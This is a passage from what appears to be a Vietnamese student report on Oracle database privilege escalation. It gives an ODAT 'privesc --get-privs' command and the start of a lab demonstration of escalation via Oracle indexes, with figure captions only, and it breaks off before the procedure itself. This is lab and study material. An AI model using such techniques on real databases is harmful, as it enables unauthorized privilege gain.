Lệnh –get-detailed-privs có thể được sử dụng để có được đặc quyền và vai trị hệ
thống gán cho người dùng Oracle đã chạy module này:
./odat.py privesc -s $SERVER -d $ID -U $USER -P
$PASSWORD --get-privs
21
CHƯƠNG 3
THỰC NGHIỆM VÀ ĐÁNH GIÁ
3.1.
Công cụ sử dụng
Windows 7
Oracle Database Express Edition 11g Release 2
Oracle Database 10g Express Edition Release 10.2.0.1.0
Sql plus.
3.2.
Thông tin victim và người tấn công
Nạn nhân là DBA
Người tấn công là user
3.3.1
Privilege Escalation via Oracle Indexes
Đầu tiên ta khởi tạo một user có tên TRUONGGIANG và cho
TRUONGGIANG hai quyền connect và resource
Hình 1. Khởi tạo user
22
Tạo một bảng có tên DEMO_EXPLOIT
Hình 2. Tạo bảng demo_exploit
INSERT giá trị NGUYENTRUONGGIANG
23
Hình 3. Insert giá trị
Chúng ta thử select bảng với tài khoản sysdba
Hình 4. Lấy giá trị từ bảng demo_exploit
Phân quyền select và index bảng DEMO_EXPLOIT cho TRUONGGIANG
24
Hình 5. Kết nối tới user truong giang
Ta thử set role dba và đã thất bại
Hình 6. Set role dba
Sau khi nhập một procedure vào
25